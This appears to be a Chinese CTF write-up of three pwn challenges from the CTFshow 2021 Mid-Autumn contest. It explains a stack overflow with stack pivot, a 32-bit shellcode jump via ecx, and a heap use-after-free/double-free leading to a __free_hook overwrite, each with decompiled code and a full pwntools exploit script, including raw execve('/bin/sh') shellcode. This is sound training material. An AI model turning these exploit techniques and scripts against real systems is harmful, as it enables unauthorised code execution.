menu EDS
CTFSHOW月饼杯2021 pwn wp
423 浏览 | 2021-09-26 | 分类:pwn | 标签:

CTFSHOW月饼杯2021 pwn wp

简单的胖

main()函数中有明显的栈溢出漏洞,但是该题难点在于目标环境是libc2.27,新版本libc2.27如果printf()堆栈不平衡会报错,setvbuf()函数重复初始化stdinstdout也会报错。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[28]; // [rsp+0h] [rbp-20h]
  int v6; // [rsp+1Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("What's your name? ", 0LL);
  v3 = read(0, buf, 0x100uLL);
  v6 = v3;
  buf[v3 - 1] = 0;
  printf("Welcome to the CTFshow Moon cake cup! %s!\n", buf);
  return 0;
}

所有栈溢出后需要跳过setvbuf()并利用call printf,来调用printf()函数泄露libc,由于该程序利用rbp来寻找栈,还需要将栈迁移到bss段上。再栈迁移后,堆栈平衡已经炸了,但是bss段上到处都是0,可以利用one_gadget来getshell。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./pwn01')
    gdb.attach(r,"b * 0x400690")
else:
    r = remote('pwn.challenge.ctf.show',28036)

elf=ELF('./pwn01')
rdi = 0x400703
callpritf = 0x400647

r.sendline(cyclic(0x20)+p64(0x00601300)+p64(rdi)+p64(elf.got['__libc_start_main'])+p64(callpritf))

r.recvuntil('gaaa')
r.recv(3)
lsmr = u64(r.recv(6)+'\x00\x00')
log.success('lsmr:'+hex(lsmr))

libc_addr = lsmr - 0x021ab0
system = libc_addr + 0x04f440
binsh = libc_addr + 0x1b3e9a
ogg = libc_addr + 0x4f322

r.sendline(cyclic(0x20)+p64(0xdeadbeef)+p64(ogg))

r.interactive()

容易的胖

main()函数开始让你输入一段shellcode。然后第二次输入需要触发strcmp(&s, "yes\n")才能避免exit()

int __cdecl main(int a1)
{
  char s; // [esp+0h] [ebp-18h]
  int *v3; // [esp+10h] [ebp-8h]

  v3 = &a1;
  sub_80485A6();
  memset(&s, 0, 0x10u);
  memset(::s, 0, 0x100u);
  puts("Input your shellcode");
  fgets(::s, 256, stdin);
  puts("Do you know how to use shellcode????");
  read(0, &s, 0x14u);
  if ( strcmp(&s, "yes\n") )
  {
    puts("you may be need learn it");
    exit(0);
  }
  puts("ok,good");
  return 0;
}

由于i386的main()函数平栈方式为外平栈模式,其ret的方式与内平栈有一些区别。

.text:080486F7                 pop     ecx
.text:080486F8                 pop     ebx
.text:080486F9                 pop     ebp
.text:080486FA                 lea     esp, [ecx-4]
.text:080486FD                 retn

这里控制ecx就可以控制程序走向。只需要让ecx+4存储的地址为可控的地址,然后在该地址存储想要跳到的地址,即可控制执行流,刚巧shellcode所在的地方为全局变量,地址固定,所以构造shellcode前面加上shellcode+4的地址,就能够跳到shellcode上执行shellcode。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'i386'


local = 0
if local == 1:
    r=process('./pwn02')
    gdb.attach(r,"b * 0x080486F9")
else:
    r = remote('pwn.challenge.ctf.show',28062)

elf=ELF('./pwn02')

shellcode = p32(0x804A040+4)+"\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
r.recvuntil('shellcode')
r.sendline(shellcode)

r.recvuntil('shellcode')
r.send('yes\n\x00'+cyclic(11)+p32(0x804A040+4))

r.interactive()

Moon_note

uaf和double free打混合拳,触发需要条件,构造有一点点麻烦。
menu()函数发现该程序有如下功能。

__int64 menu()
{
  puts("1. Create note");
  puts("2. Write content");
  puts("3. Show content");
  puts("4. Delete note");
  printf("Choice: ");
  return getint();
}

create_note()函数为限制生成30多个堆,每次申请一个0x28大小的堆块。内容为填入一个标题。

__int64 create_note()
{
  _QWORD *v0; // ST08_8

  if ( size > 79 )
    puts("Too many notes");
  v0 = malloc(0x28uLL);
  printf("Title: ");
  getnline(v0, 16LL);
  v0[3] = &head;
  v0[2] = qword_202090;
  *(_QWORD *)(qword_202090 + 24) = v0;
  qword_202090 = (__int64)v0;
  return (unsigned int)(size++ + 1);
}

write_content()函数为根据create_note()函数的标题来生成一个小于80字节大小的堆块,地址存放在create_note()函数生成堆块的末尾8字节处。

unsigned __int64 write_content()
{
  signed int v1; // [rsp+4h] [rbp-2Ch]
  __int64 v2; // [rsp+8h] [rbp-28h]
  char v3; // [rsp+10h] [rbp-20h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Title of note to write content: ");
  getnline(&v3, 16LL);
  v2 = find_note(&v3, 16LL);
  if ( v2 )
  {
    if ( *(_QWORD *)(v2 + 32) )
    {
      puts("You have already written content");
    }
    else
    {
      printf("Size of content: ");
      v1 = getint();
      if ( v1 > 0 && v1 <= 80 )
      {
        *(_QWORD *)(v2 + 32) = malloc(v1);
        printf("Content: ");
        getnline(*(_QWORD *)(v2 + 32), (unsigned int)v1);
      }
      else
      {
        puts("Too big");
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

show_content()函数为根据create_note()函数标题寻找write_note()的地址,并输出出来。

unsigned __int64 show_content()
{
  __int64 v1; // [rsp+8h] [rbp-28h]
  char v2; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Title of note to show content: ");
  getnline(&v2, 16LL);
  v1 = find_note(&v2, 16LL);
  if ( v1 && *(v1 + 32) )
    puts(*(v1 + 32));
  return __readfsqword(0x28u) ^ v3;
}

delete_note()函数存在uaf,不过需要堆块重新申请回来才能利用。可以利用write_note()来申请一个堆块,再末尾加上想泄露的地址或想释放的堆块地址,由于malloc()申请堆块不会清空内容,这样create_note()的堆块末尾的地址就可以用于构造uaf任意地址读和double free。

unsigned __int64 delete_note()
{
  void *ptr; // [rsp+8h] [rbp-28h]
  char v2; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Title of note to delete: ");
  getnline(&v2, 16LL);
  ptr = find_note(&v2, 16LL);
  if ( ptr )
  {
    *(*(ptr + 2) + 24LL) = *(ptr + 3);
    *(*(ptr + 3) + 16LL) = *(ptr + 2);
    free(*(ptr + 4));
    free(ptr);
    --size;
  }
  return __readfsqword(0x28u) ^ v3;
}

exp如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'i386'


local = 0
if local == 1:
    r=process('./Moon_note')
    gdb.attach(r,"b * $rebase(menu)")
else:
    r = remote('pwn.challenge.ctf.show',28080)

elf=ELF('./Moon_note')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(title):
    r.recvuntil('Choice:')
    r.sendline('1')
    r.recvuntil('Title:')
    r.sendline(str(title))

def write(index,size,content):
    r.recvuntil('Choice:')
    r.sendline('2')
    r.recvuntil('content:')
    r.sendline(str(index))
    r.recvuntil('content:')
    r.sendline(str(size))
    r.recvuntil('Content:')
    r.sendline(content)

def dele(title):
    r.recvuntil('Choice:')
    r.sendline('4')
    r.recvuntil('delete:')
    r.sendline(str(title))

def show(title):
    r.recvuntil('Choice:')
    r.sendline('3')
    r.recvuntil('content:')
    r.sendline(str(title))

add('1')
write('1',0x28,'a'*0x20)
add('2')
add('3')
add('4')
write('3',0x28,'c'*0x2)
dele(3)
dele('1')

write('2',0x38,'b'*0x2)

add('5')
show('5')
r.recvuntil(' ')
heap = u64(r.recv(6)+'\x00\x00')
log.success('heap:'+hex(heap))

dele('2')
write('4',0x28,'c'*0x20+p64(heap-0x80))
dele('4')
add('7')
add('8')
add('9')
show('8')
r.recvuntil(' ')
pie = u64(r.recv(6)+'\x00\x00')-0x202080
log.success('pie:'+hex(pie))

add('10')
add('11')
dele('5')

write('11',0x28,'c'*0x20+p64(pie+elf.got['__libc_start_main']))
dele('11')
add('12')
add('13')
show('13')
r.recvuntil(' ')
libc_start_main = u64(r.recv(6)+'\x00\x00')
log.success('libc_start_main:'+hex(libc_start_main))
libc_addr = libc_start_main - libc.symbols['__libc_start_main']
system = libc_addr + libc.symbols['system']
free_hook = libc_addr + libc.symbols['__free_hook']

add('/bin/sh')
add('15')
add('16')
add('17')
add('18')

dele('16')

write('15',0x28,'d'*0x20+p64(heap+0x160))
dele('15')
add('19')
add('20')
dele('18')
dele('20')

add('22')
add(p64(free_hook))
write(p64(free_hook),0x28,'eeeeeeee')
add(p64(system))
dele('/bin/sh')

r.interactive()

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!